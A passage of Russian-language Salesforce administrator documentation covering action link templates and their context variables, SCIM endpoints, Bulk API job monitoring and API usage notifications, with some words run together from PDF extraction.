Код пользователя, выполнившего ссылку действия.{!userId}

Например, пользователь, являющийся сотрудником компании «Пример опроса», создает приложение для каталога
Salesforce AppExchange по имени «Пример опроса для Salesforce». Компания «А» устанавливает приложение «Пример
опроса для Salesforce». Допустим, сотрудник компании «А» открывает сайт primeroprosa.ru для создания опроса.
Код примера опроса использует Chatter REST API для создания элемента ленты, содержащего основной текст «Принять
участие в опросе» и ссылку действия с меткой «ОК», в организации Salesforce компании «А».

Данная ссылка действия типа «Пользовательский интерфейс» переносит пользователя из системы Salesforce на
веб-страницу сайта primeroprosa.ru для участия в опросе.

Придобавлениипеременнойконтекста {!userId} вполе «Текст запроса HTTP» или «URL-адрес действия» данной
ссылки действия система Salesforce отправляет код пользователя, выбравшего ссылку действия, на сервер.

При добавлении переменной контекста {!actionLinkId} в серверный код примера опроса, создающий ссылку
действия, система Salesforce отправляет запрос HTTP, содержащий код ссылки действия, который может быть сохранен в
базе данных.

Данныйпримерсодержитпеременнуюконтекста {!userId} вполе «URL-адрес действия» шаблона ссылкидействия.
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Совет: Переменные связывания и переменные контекста могут использоваться в одном поле. Например, данный
URL-адрес действия содержит переменную связывания и переменную контекста:
https://www.primer.ru/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}
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Создание шаблонов ссылок действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме Personal
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов
групп ссылок действий:
• «Настройка

приложения»

Для создания шаблонов
ссылок действий:
• «Настройка

приложения»

Создайте шаблоны ссылок действий в меню «Настройка» для обработки групп ссылок
действий с общими свойствами из Chatter REST API или Apex. При необходимости
распространите пакетированныешаблоны среди других организаций Salesforce.

Прим.: Помимоменю «Настройка», шаблоныссылокдействиймогутбытьсозданы
посредством интерфейсовMetadata API, SOAP API и REST API.

Поля «URL-адрес действия», «Текст запроса HTTP» и «Заголовки HTTP»

поддерживают переменные связывания и переменные контекста. Определите переменные
связывания в шаблоне и задайте их значения при обработке группы ссылок действий.
Добавьте переменные контекста в шаблон. При выполнении ссылки действия система
Salesforce вставляет значениеивозвращает егов запросе. Дополнительнуюинформацию
об использовании данных переменных в шаблоне см. в разделе «Разработка шаблонов
ссылок действий».

1. Введите строку «Шаблоны ссылок действий» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Шаблоны ссылок действий».

2. Нажмите кнопку «Создать».

3. Заполните поле «Имя». Данное имя отображается в спискешаблонов групп ссылок
действий.

Данное значение является единственным, которое может быть изменено после
публикациишаблона группы ссылок действий.

4. Заполнитеполе «Имя разработчика». Рекомендуемиспользоватьимяразработчика
для обращения к данномушаблону из кода. По умолчаниюданное поле содержит версию значения поля «Имя» без
пробелов. Имя может содержать только буквы, цифры и символы подчеркивания.

5. Выберите значение из раскрывающегося списка «Категория». Данное поле определяет область отображения
обработанных групп ссылок действий в элементах ленты. Значение «Основное действие» позволяет отображать
группыссылокдействийвтексте элементовленты. Значение «Действиепереполнения» позволяетотображать группы
ссылок действий в меню переполнения элементов ленты.

Привыборезначения «Основноедействие» шаблонгруппыссылокдействийможетсодержатьнеболеетрехшаблонов
ссылокдействий. Привыборе значения «Действиепереполнения» шаблон группыссылокдействийможет содержать
не более четырех шаблонов ссылок действий.

6. Выберите значение из раскрывающегося списка «Допустимые выполнения». Данное поле определяет количество
выполнений для групп ссылок действий, обработанных из данного шаблона. (Ссылки действий внутри группы
являются взаимоисключающими.) Привыборе значения «Неограничено» ссылкамдействийвнутри группынеможет
быть задан тип «API» или «API Async».

7. При необходимости заполните поле «Часы до истечения срока действия». Данное поле определяет время
отображения созданной группы ссылок действий до ее удаления из связанных элементов ленты. Максимальное
значение — 8 760.

См. подраздел «Определение времени истечения срока действия для группы ссылок действий».

8. Нажмите кнопку «Сохранить».

9. Чтобы создать шаблон ссылки действия, нажмите кнопку «Создать».

Шаблон ссылки действия автоматически связывается сшаблоном группы ссылок действийпосредством взаимосвязи
«Основная—подробная».
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10. Выберите значение из раскрывающегося списка «Тип действия».

Ниже указаны возможные значения.

• «API»: ссылкадействия вызывает синхронный API в URL-адресе действия. Система Salesforce задает статусу значение
SuccessfulStatus или FailedStatus на основе кода состояния HTTP, возвращенного сервером.

• «API Async»: ссылкадействиявызываетасинхронный API в URL-адреседействия. Действиюназначаетсясостояние
PendingStatus, которое сохраняется до отправки стороннего запроса к
/connect/action-links/кодСсылкиДействия, позволяющегозадавать статусу значение SuccessfulStatus
или FailedStatus при завершении асинхронной операции.

• «Загрузить»: ссылка действия загружает файл из URL-адреса действия.

• «Пользовательский интерфейс»: ссылка действия открывает веб-страницу в URL-адресе действия.

11. Заполните поле «URL-адрес действия». Данное поле определяет URL-адрес для ссылки действия.

При выборе типа действия «Пользовательский интерфейс»  URL-адресом является веб-страница. При выборе типа
действия «Загрузить»  URL-адресом является ссылка на файл, доступный для загрузки. При выборе типа действия
«API» или «API Async»  URL-адресом является ресурс REST.

Ссылки на ресурсы, размещенные на серверах Salesforce, могут быть относительнымии начинаться с символа /. Все
другие ссылки должны быть абсолютными и начинаться с протокола https://. Данное поле может содержать
переменные связывания следующего формата: {!Bindings.ключ}  (например,
https://www.primer.ru/{!Bindings.itemId}). Задайте значение переменной связывания при обработке
группыссылокдействийизшаблона. См. примерChatter REST APIниже, где ключу itemId задается значение 8675309.

POST /connect/action-link-group-definitions

{
"templateId" : "07gD00000004C9r",
"templateBindings" : [

{
"key":"itemId",
"value": "8675309"

}
]

}

Кроме того, данное поле может содержать переменные контекста. Рекомендуем использовать переменные контекста
для передачи сведений о пользователе, выполнившем ссылку действия, в серверный код. Например, данная ссылка
действия передает код пользователя, выбравшего ссылку действия для проведения опроса, на сервер, размещающий
данный опрос.

actionUrl=https://example.com/doSurvey?surveyId=1234&salesforceUserId={!userId}

12. Выберите значение из раскрывающегося списка «Метод HTTP». Данное поле определяет метод, который должен
использоваться для выполнения запроса HTTP.

13. Еслиполе «Тип действия» содержитзначение «API» или «API Async», заполнитеполе «Текст запроса HTTP».

Данное поле может содержать переменные связывания и переменные контекста.

14. Если поле «Тип действия» содержит значение «API» или «API Async», заполните поле «Заголовки HTTP».

Данное поле может содержать переменные связывания и переменные контекста.
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Еслиссылкадействия, обработаннаяизшаблона, выполняетзапроскресурсуSalesforce, тошаблондолжениспользовать
заголовок «Тип содержимого».

15. Принеобходимостиустановитефлажок «Стандартная ссылка в группе» дляиспользованияданнойссылкидействия
в качестве стандартной в группе (и применения специального форматирования в пользовательском интерфейсе).
Группа может содержать только одну стандартную ссылку.

16. При необходимости установите флажок «Требуется подтверждение» для отображения диалогового окна
подтверждения перед выполнением ссылки действия.

17. Заполните поле «Положение» относительным значением. Первому положению соответствует значение «0».

18. Выберите значениеизраскрывающегосясписка «Ключ метки». Данное значениеявляется ключомдлянабораметок
пользовательского интерфейса, предназначенного для отображения данных статусов: NewStatus, PendingStatus,
SuccessfulStatus и FailedStatus.

Например, набор «Опубликовать» содержит данные метки: «Опубликовать», «Ожидание публикации»,
«Опубликовано» и «Ошибка публикации». Данное изображение содержит ссылку действия с ключом метки
«Опубликовать» при использовании статуса со значением SuccessfulStatus.

19. (Дополнительно) При отсутствии значений поля «Ключ метки», приемлемых для ссылки действия, задайте полю
«Ключ метки» значение «Нет» и заполните поле «Метка».

Ссылкидействийподдерживаютчетырестатуса: NewStatus, PendingStatus, SuccessStatus и FailedStatus. Нижеперечислены
дополняющие метку строки для каждого статуса.

• метка

• метка: ожидание

• метка: успех

• метка: ошибка
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Например, метке со значением «Просмотрпримера» соответствуютследующиечетыре ссылкидействий: «Просмотр
примера», «Просмотр примера: ожидание», «Просмотр примера: успех» и «Просмотр примера: ошибка».

Ссылка действия может использовать только параметр LabelKey или поле «Метка» для создания имен меток.

20. Выберите значениеизраскрывающегосясписка «Доступность пользователя». Данноеполеопределяетпользователей,
которым должна быть доступна группа ссылок действий.

При выборе значения «Доступно только менеджеру автора» менеджером является менеджер автора, выбранный
на момент обработки группы ссылок действий. Последующее изменение менеджера автора не учитывается.

21. При выборе значения «Доступно только настраиваемому пользователю» или «Доступно всем, кроме настраиваемого
пользователя» заполните поле «Псевдоним настраиваемого пользователя».

Введите строку и задайте ее значение при обработке группы ссылок действий (аналогичноназначению значения для
переменнойсвязывания). Нерекомендуемиспользовать синтаксиспеременнойсвязываниявшаблоне. Простовведите
значение. Например, введите значение ExpenseApprover. Данный пример Chatter REST API задает ключу
ExpenseApprover значение 005B0000000Ge16.

POST /connect/action-link-group-definitions

{
"templateId" : "07gD00000004C9r",
"templateBindings" : [

{
"key":"ExpenseApprover",
"value": "005B0000000Ge16"

}
]

}

22. Чтобы создать другой шаблон ссылки действия для данного шаблона группы ссылок действий, нажмите кнопку
«Сохранить и создать».

23. По завершении нажмите кнопку «Сохранить».

24. Чтобыопубликоватьшаблон группыссылокдействий, щелкните ссылку «Назадксписку»для возврата к списковому
представлению «Шаблоны группы ссылок действий».

Важное замечание: ГруппассылокдействийможетбытьобработанавApexилиChatter REST API толькопосредством
опубликованного шаблона.

25. Щелкните ссылку «Правка» напротив нужного шаблона группы ссылок действий.

26. Установите флажок «Опубликовано» и нажмите кнопку «Сохранить».
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Редактирование шаблонов ссылок действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме Personal
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
шаблонов групп ссылок
действий:
• «Настройка

приложения»

Для редактирования
шаблонов ссылок действий:
• «Настройка

приложения»

Пользователимогутредактироватьвсеполянеопубликованногошаблонагруппыссылок
действий и связанныхшаблонов ссылок действий.

1. Введите строку «Шаблоны ссылок действий» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Шаблоны ссылок действий».

2. Чтобы изменить шаблон группы ссылок действий, щелкните ссылку «Правка»
напротив имени нужного шаблона.

Еслишаблон группы не опубликован, измените любое поле. В противном случае,
измените только поле «Имя».

3. Чтобы изменить шаблон ссылки действия, выполните указанные ниже действия.

a. Щелкните имя основного шаблона группы ссылок действий.

b. Чтобы открыть страницу сведений о шаблоне ссылки действия, щелкните код
шаблона ссылки действия.

c. Нажмите кнопку «Правка».

Если связанныйшаблон группы ссылок действий не опубликован, измените
любое поле. В противном случае, измените любое указанное ниже поле.

• URL-адрес действия

• Текст запроса HTTP

• Заголовки HTTP

Данные поля поддерживают переменные контекста и переменные связывания.

При необходимости добавьте или удалите переменные контекста в любом указанном выше поле.

Добавление новой переменной связывания не поддерживается. Ниже перечислены доступные действия.

• Перемещение переменной связывания в другое редактируемое поле шаблона ссылки действия.

• Повторное использование переменной связывания в шаблоне ссылки действия.

• Повторное использование переменной связывания в любыхшаблонах ссылок действий, связанных с одним
шаблоном группы ссылок действий.

• Удаление переменных связывания.
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Удаление шаблонов групп ссылок действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме Personal
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления шаблонов
групп ссылок действий:
• «Настройка

приложения»

Для удаления шаблонов
ссылок действий:
• «Настройка

приложения»

Удалениешаблона группыссылокдействийинициирует удаление связанныхшаблонов
ссылок действий и всех групп ссылок действий, обработанных из данных шаблонов.
Удаленные группы ссылок действий больше не отображаются в связанных элементах
ленты.

1. Введите строку «Шаблоны ссылок действий» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Шаблоны ссылок действий».

2. Чтобыудалитьшаблон группыссылокдействий, щелкните ссылку «Удал.»напротив
имени нужного шаблона.

Важное замечание: Удаление шаблона группы ссылок действий инициирует
удаление связанныхшаблонов ссылок действийи всех групп ссылок действий,
обработанныхизданногошаблона. Группа ссылокдействийудаляетсяизо всех
связанных элементов ленты, а ссылки действий больше не отображаются в
соответствующих сообщениях ленты.

3. Чтобы удалить шаблон ссылки действия, выполните указанные ниже действия.

a. Щелкните имя основного шаблона группы ссылок действий.

b. Чтобы открыть страницу сведений о шаблоне ссылки действия, щелкните код
шаблона ссылки действия.

c. Нажмите кнопку «Удалить».

Важное замечание: Шаблон ссылки действия, связанный с опубликованным
шаблоном группы ссылок действий, не может быть удален.

Пакетирование шаблонов ссылок действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме Personal
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетирования
шаблонов ссылок действий:
• «Создание пакета

AppExchange»

Пакетирование шаблонов ссылок действий способствует их распространению среди
других организаций Salesforce.

Добавлениешаблонагруппыссылокдействийинициируетдобавлениелюбыхсвязанных
шаблоновссылокдействийвпакет. Принеобходимостидобавьтешаблонгруппыссылок
действий в управляемый или неуправляемый пакет. Шаблоны групп ссылок действий,
являющиеся пакетируемыми компонентами, могут использовать преимущества всех
функций управляемыхпакетов (например, составление списков в каталогеAppExchange,
активныедоставкиобновлений, сценарииApexпост-установки, управлениелицензиями
и расширенная поддержка подписчиков). Чтобы создать управляемый пакет,
воспользуйтесь организацией Developer Edition.

• См. статью «Создание и редактирование пакета» на портале https://help.salesforce.com.
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Использование системы для междоменного управления удостоверениями (SCIM)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Система Salesforce поддерживает открытую спецификацию SCIM 1.1 и предоставляет
некоторыерасширения, предназначенныедляредактированияиуправлениясвойствами
пользователей посредством интерфейса REST API.

Рекомендуем использовать операции создания, чтения, обновления и выключения для
пользователей, а также назначать и отменять назначение пользователей профилю,
наборуполномочий, ролиилиобщедоступнойгруппеSalesforceпосредствоминтерфейса
REST API.

Ниже перечислены конечные точки Salesforce SCIM, где переменная
url_организации_salesforce заменяется URL-адресоморганизации (например, настраиваемыйдомен) дляпользователя.

• https://url_организации_salesforce/services/scim/v1/Users

• https://url_организации_salesforce/services/scim/v1/Groups

• https://url_организации_salesforce/services/scim/v1/Entitlements

• https://url_организации_salesforce/services/scim/v1/Schemas

Чтобы запросить возможности внедрения Salesforce SCIM, воспользуйтесь URL-адресом
https://url_организации_salesforce/services/scim/v1/ServiceProviderConfigs.

Чтобы запросить свойства конкретного пользователя, воспользуйтесь URL-адресом
https://url_организации_salesforce/services/scim/v1/Users/кодПользователя, гдепеременная кодПользователя
заменяется 18-значным кодом организации пользователя.

Ниже перечислены расширения, поддерживаемые системой Salesforce.

• код менеджера

• внешние пользователи

• настраиваемые атрибуты

• наборы полномочий

Ниже перечислены расширения предприятия SCIM, отображаемые данным URN:

urn:scim:schemas:extension:enterprise:1.0

• employeeNumber

• подразделение

• отдел

• менеджер (managerId и displayName)

• delegatedApprover (delegatedApproverId и displayName)

Ниже перечислены расширения, отображаемые данным URN:

urn:salesforce:schemas:extension:18CHARORGID

• настраиваемые поля (при их наличии)

Этот URN отображает следующие расширения внешних удостоверений или пользователей сообщества (profileId
которых в правах принадлежит к типу внешнего удостоверения или пользователей сообществ):

urn:salesforce:schemas:extension:external:1.0

• accountId

• contactId
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Еслиэтизначенияотсутствуют, Salesforceсоздаетзаписиконтактовиорганизацийдляпользователя. Новоеимяорганизации
отображается в формате usernameJITUserAccount. Например: user@corpname.orgJITUserAccount.

Прим.: Ко всем операциям SCIM применимы следующие условия.

• Прииспользовании условия оператор AND не имеет преимущества над оператором OR. Приналичии условия,
содержащего операторы AND и OR, рекомендуем добавить квадратные скобки.

• При использовании условия имена атрибутов и операторы чувствительны к регистру.

• Данные поля должныфильтроваться самостоятельно.

– Пользователи: права, группы.

– Группы: участники.

– Права: участники.

Дополнительнуюинформациюсм. в спецификацииосновнойсхемы SCIM 1.1, спецификации SCIM 1.1 REST APIиРуководстве
разработчика Salesforce REST API.

Задания на загрузку массива данных

Отслеживание заданий на загрузку массива данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отслеживания заданий
на загрузку массива данных:
• «Управление

интеграциями данных»

Интерфейс Bulk API, предназначенный для обработки больших наборов данных,
позволяет создавать, обновлять и удалять большие объемы записей. Интерфейс
поддерживает удобнуюзагрузку, обновлениеи удалениеданных — отнескольких тысяч
до нескольких миллионов записей. Обработка большого количества записей занимает
некотороевремя. Данная страницапозволяетотслеживать выполнениетекущихзаданий
и просматривать результаты недавних заданий.

Обработка набора записей осуществляется путем создания задания, содержащего как
минимумодинпакет. Заданиеопределяетобрабатываемыйобъекти типиспользуемого
действия (запрос, вставка, обновление, обновление и вставка или удаление).Пакет —
это набор записей, отправленных на сервер посредством запроса HTTP POST. Каждый
пакетобрабатывается серверомпоотдельности. Очередностьобработкипакетовможет
не соответствовать порядку их получения.

Чтобы просмотреть статус текущих или недавних заданий на загрузку массива данных,
введите строку «Задания на загрузку массива данных» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Задания на загрузку массива данных».

Ниже перечислены столбцы, доступные в списке «Выполняемые задания».

ОписаниеСтолбец

Уникальный 15-значный код данного задания.Код
задания

Тип объекта для обрабатываемых данных. Все данные задания должны
использовать один тип объекта.

Объект
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ОписаниеСтолбец

Операция обработки для всех пакетов задания.Ниже перечислены допустимые значения.Операция

• удалить

• вставить

• запрос

• обновить и вставить

• обновить

• удалить без возможности восстановления

Процент обработанных пакетов относительно общего количества отправленных пакетов. Точное
количество пакетов, доступных в задании, определяется только после его закрытия, поэтому

Выполнение

выполнение не отображается при наличии открытого задания. Данный столбец может некорректно
отображать количество обработанных записей. Пакетымогут содержать разное количество записей,
поэтому могут обрабатываться с разными скоростями.

Количество обработанных записей. Данное количество увеличивается по мере обработки пакетов.Обработанные
записи

Дата и время отправки задания.Время начала

Текущий статус обработки задания.Ниже перечислены допустимые значения.Статус

• «Открыто»: задание создано; пакеты могут быть добавлены в задание.

• «Закрыто»: новыепакетынемогутбытьдобавленывданное задание. Пакеты, связанныес заданием,
могут быть обработаны после его закрытия. Закрытое задание не может быть изменено или
сохранено.

• «Прервано»: задание прервано.

• «Сбой»: не удалось выполнить задание. Откат обработанных пакетов задания недоступен.

Имя пользователя, отправившего задание.Отправил

Ниже перечислены столбцы, доступные в списке «Выполненные задания». Выполненные задания удаляются из списка
через семь дней.

ОписаниеСтолбец

Дата и время завершения задания.Время
окончания

Уникальный 15-значный код данного задания.Код задания

Типобъектадляобрабатываемыхданных. Вседанныезаданиядолжныиспользоватьодинтипобъекта.Объект

Операция обработки для всех пакетов задания.Ниже перечислены допустимые значения.Операция

• удалить

• вставить
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ОписаниеСтолбец

• запрос

• обновить и вставить

• обновить

• удалить без возможности восстановления

Количество обработанных записей. Данное количество увеличивается по мере обработки пакетов.Обработанные
записи

Дата и время отправки задания.Время начала

Текущий статус обработки задания.Ниже перечислены допустимые значения.Статус

• «Открыто»: задание создано; пакеты могут быть добавлены в задание.

• «Закрыто»: новыепакетынемогутбытьдобавленывданное задание. Пакеты, связанныес заданием,
могут быть обработаны после его закрытия. Закрытое задание не может быть изменено или
сохранено.

• «Прервано»: задание прервано.

• «Сбой»: не удалось выполнить задание. Откат обработанных пакетов задания недоступен.

Имя пользователя, отправившего задание.Отправил

Общее время выполнения задания.Время
завершения

СМ. ТАКЖЕ:

Просмотр сведений о задании на загрузку массива данных
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Просмотр сведений о задании на загрузку массива данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отслеживания заданий
на загрузку массива данных:
• «Управление

интеграциями данных»

Интерфейс Bulk API, предназначенный для обработки больших наборов данных,
позволяет создавать, обновлять и удалять большие объемы записей. Интерфейс
поддерживает удобнуюзагрузку, обновлениеи удалениеданных — отнескольких тысяч
до нескольких миллионов записей. Обработка большого количества записей занимает
некотороевремя. Данная страницапозволяетотслеживать выполнениетекущихзаданий
и просматривать результаты недавних заданий.

Чтобыпросмотретьсведенияозаданииназагрузкумассиваданных, выполнитеуказанные
ниже действия.

1. Введите строку «Задания на загрузку массива данных» в поле «Быстрый поиск» в
меню «Настройка», затем выберитепункт «Заданияназагрузкумассиваданных».

2. Щелкните ссылку «Код задания» для нужного задания.

Ниже перечислены поля, доступные на странице сведений о задании.

ОписаниеПоле

Количествомиллисекунд, потраченноена обработку триггерови других
связанных процессов. Данное поле содержит сумму эквивалентного
времени для всех пакетов задания. Данное поле не охватывает время,
используемое для обработки асинхронных и пакетных операций Apex.
При отсутствии триггеров отображается значение «0».

Время
обработки
Apex
(мс)

Количество миллисекунд, потраченное на активную обработку задания.
Данноеполеохватывает время, отслеживаемоевполе «Время обработки

Активное
время

Apex (мс)», нонеохватывает времянахождения заданиявочередиилиобработки
API (мс) время, необходимое на сериализацию и десериализацию. Данное поле

содержит сумму эквивалентного времени для всех пакетов задания.

Версия API для задания.Версия
API

Количество пакетов, выполненных для данного задания.Выполненные
пакеты

Режим совмещения для обработки пакетов.Ниже перечислены
допустимые значения.

Режим
совмещения

• «параллельно»: пакеты обрабатываются в параллельном режиме.
Данное значение выбрано по умолчанию.

• «последовательно»: пакеты обрабатываются в последовательном
режиме.

Типсодержимогодля задания.Нижеперечисленыдопустимыезначения.Тип
содержимого • CSV: данные в формате CSV

• XML: данные в формате XML (по умолчанию)

• ZIP_CSV: данные в формате CSV в архивномфайле, содержащем
двоичные вложения
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ОписаниеПоле

• ZIP_XML: данные в формате XML в архивномфайле, содержащем двоичные вложения

Дата и время завершения задания.Время
окончания

Имя поля внешнего кода для операции upsert().Поле внешнего
кода

Количество необработанных пакетов для данного задания.Необработанные
пакеты

Уникальный 15-значный код данного задания.Код задания

Количество обрабатываемых пакетов для данного задания.Выполняемые
пакеты

Типобъектадляобрабатываемыхданных. Вседанныезаданиядолжныиспользоватьодинтипобъекта.Объект

Операция обработки для всех пакетов задания.Ниже перечислены допустимые значения.Операции

• удалить

• вставить

• запрос

• обновить и вставить

• обновить

• удалить без возможности восстановления

Процент обработанных пакетов относительно общего количества отправленных пакетов. Точное
количество пакетов, доступных в задании, определяется только после его закрытия, поэтому

Выполнение

выполнение не отображается при наличии открытого задания. Данный столбец может некорректно
отображать количество обработанных записей. Пакетымогут содержать разное количество записей,
поэтому могут обрабатываться с разными скоростями.

Количество пакетов, добавленных в очередь для данного задания.Пакеты в
очереди

Количество необработанных записей для данного задания.Необработанные
записи

Количество записей, обработанных на момент отправки запроса. Данное количество увеличивается
по мере обработки пакетов.

Обработанные
записи

Количество попыток, предпринятых системой Salesforce для сохранения результатов операции.
Повторные попытки являются результатом ошибки (например, конфликт при блокировках).

Повторы

Дата и время отправки задания.Время начала

Текущий статус обработки задания.Ниже перечислены допустимые значения.Статус

• «Открыто»: задание создано; пакеты могут быть добавлены в задание.
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ОписаниеПоле

• «Закрыто»: новыепакетынемогутбытьдобавленывданное задание. Пакеты, связанныес заданием,
могут быть обработаны после его закрытия. Закрытое задание не может быть изменено или
сохранено.

• «Прервано»: задание прервано.

• «Сбой»: не удалось выполнить задание. Откат обработанных пакетов задания недоступен.

Имя пользователя, отправившего задание.Отправил

Общее время выполнения задания.Время
завершения

Количество миллисекунд, потраченное на обработку задания. Данное поле содержит сумму общего
времени обработки для всех пакетов задания.

Общее время
обработки (мс)

Страница сведений о задании содержит связанный список всех пакетов задания. Связанный список содержит ссылки
«Просмотрзапроса»и «Просмотрответа»для каждогопакета.Еслипакетомявляется CSV-файл, то ссылкивозвращают
запрос или ответ в формате CSV. Если пакетом является XML-файл, то ссылки возвращают запрос или ответ в формате
XML. Данные ссылки доступны для пакетов, созданных в интерфейсе API 19.0 или более поздней версии.

Ниже перечислены поля, доступные в связанном списке пакетов.

ОписаниеПоле

Количество миллисекунд, потраченное на обработку триггеров и других связанных процессов. При
отсутствии триггеров отображается значение «0». Данное поле не охватывает время, используемое
для обработки асинхронных и пакетных операций Apex.

Время
обработки
Apex (мс)

Количествомиллисекунд, потраченноена активнуюобработкупакета. Данноеполеохватывает время
обработки Apex, но не охватывает время нахождения пакета в очереди или время, необходимое на
сериализацию и десериализацию.

Активное время
обработки API

(мс)

Код пакета. Данный код может быть глобально уникальным.Код пакета

Датаивремяокончанияобработки (поГринвичу). Данное значениедействительнотолькопристатусе
«Завершено».

Время
окончания

Количество необработанных записей для данного пакета.Необработанные
записи

Количество записей, обработанных для данного пакета на момент отправки запроса. Данное
количество увеличивается по мере обработки пакетов.

Обработанные
записи

Количество попыток, предпринятых системой Salesforce для сохранения результатов операции.
Повторные попытки являются результатом ошибки (например, конфликт при блокировках или
слишком долгая обработка пакета).

Количество
повторов

Дата и время создания пакета (по Гринвичу). Данное поле отображает время добавления пакета в
задание, а не время начала обработки.

Время начала
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ОписаниеПоле

Данное поле содержит причины сбоя при неудачном выполнении пакета.Сообщение о
состоянии

Текущий статус обработки пакета.Статус

• «В очереди»: обработка пакета еще не началась. Если задание, связанное с данным пакетом,
прерывается, то данный пакет не обрабатывается, а статусу задается значение «Не обработано».

• «Выполняется»: пакет обрабатывается. Если задание, связанное с данным пакетом, прерывается,
то данный пакет обрабатывается до конца. Обработка пакета может быть завершена только при
условии закрытия связанного задания.

• «Завершено»: пакетполностьюобработан; пользователюдоступенресурсрезультата, указывающий
наналичиенеобработанныхзаписей. Обработкапакетаможетбытьзавершенадажепринеудачной
обработке некоторых или всех записей. При неудачной обработке поднабора записей откат
обработанных записей недоступен.

• «Сбой»: не удалось обработать пакет полностью ввиду возникновения непредвиденнойошибки
(например, сжатие запроса посредством неподдерживаемого формата или внутренняя ошибка
сервера).

• «Не обработано»: неудалосьобработатьпакетполностьюввидувозникновениянепредвиденной
ошибки (например, сжатие запроса посредством неподдерживаемого формата или внутренняя
ошибка сервера).

Количество миллисекунд, потраченное на обработку пакета. Данное поле не охватывает время
нахождения пакета в очереди.

Общее время
обработки (мс)

Чтобы просмотреть запрос, щелкните ссылку напротив нужного пакета.Просмотр
запроса

Чтобы просмотреть результаты, щелкните ссылку напротив нужного пакета.Просмотр
результата

СМ. ТАКЖЕ:

Отслеживание заданий на загрузку массива данных
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Уведомления об использовании API

Уведомления об использовании API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, просмотра,
редактирования или
удаления уведомлений:
• «API включен»

При созданиии уведомления об использовании запросов рекомендуем выбрать
пользователя, который должен получать электронные уведомления о превышении
установленного ограничения по количеству запросов API в течение заданного периода
времени.

Чтобы просмотреть уведомления об использовании API, откройте настройки, введите
строку «Уведомления об использовании API» в поле «Быстрый поиск», затем выберите
пункт «Уведомления об использовании API».

В списке уведомлений доступны следующие действия.

• Чтобыизменитьилиудалитьтекущееуведомление, щелкнитессылку«Правка»или
«Удал.».

• Просмотрите имя получателя уведомления.

• Просмотритеинтервалотправки уведомлений. Например, еслиинтервал составляет
четыре часа, то новое уведомление отправляется как минимум через четыре часа
после отправки предыдущего уведомления. Таким образом, в течение суток будет
отправлено не более шести уведомлений.

• Просмотрите процент ограничения, при превышении которого отправляется
уведомление. Например, если организации предоставляется 1 000 000 запросов, то
привыборепорогового значения 60% иинтервала уведомления 24 часапользователь
получает уведомление после отправки 600 000 запросов API в течение одних суток.

• Просмотрите имя автора и время создания уведомления или имя автора и время
последнего изменения.

Чтобы создать уведомление, нажмите кнопку «Создать».

Для одной организации может быть создано не более 10 уведомлений.

СМ. ТАКЖЕ:

Просмотр уведомлений об использовании API

Создание и редактирование уведомлений об использовании API
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Просмотр уведомлений об использовании API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, просмотра,
редактирования или
удаления уведомлений:
• «API включен»

Ниже перечислены сведения об уведомлениях, доступные на странице сведений
«Уведомления об использовании API».

• «Получатель уведомления»: имя пользователя, которому отправлено электронное
уведомление.

• «Пороговое значение»: процент ограничения по использованию, при достижении
которого отправляется электронное уведомление.

• «Интервал уведомления (часы)»: частота отправки уведомлений. Например, если
интервал составляет четыре часа, то новое уведомление отправляется как минимум
через четыре часа после отправки предыдущего уведомления. Таким образом, в
течение суток будет отправлено не более шести уведомлений.

• «Создано»: автор и время создания запроса на уведомление.

• «Изменено»: пользователь, который последним изменил уведомление.

Кроме того, данная страница позволяет создавать уведомления на основе значений
отображаемогоуведомления. Чтобыклонировать текущееуведомление, нажмитекнопку
«Клонировать». При необходимости измените значения перед сохранением.

СМ. ТАКЖЕ:

Создание и редактирование уведомлений об использовании API

Уведомления об использовании API

Создание и редактирование уведомлений об использовании API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, просмотра,
редактирования или
удаления уведомлений:
• «API включен»

На странице изменения показателей использования API можно задать необходимые
значения для уведомлений. Введите строку «Уведомления об использовании API» в поле
«Быстрый поиск» в меню «Настройка» и выберите пункт «Уведомления об
использовании API».

• Пользователь Salesforce, являющийся получателем уведомлений.

• Пороговое значение — это процент ограничения, при превышении которого в
заданном интервале уведомления система отправляет уведомление выбранному
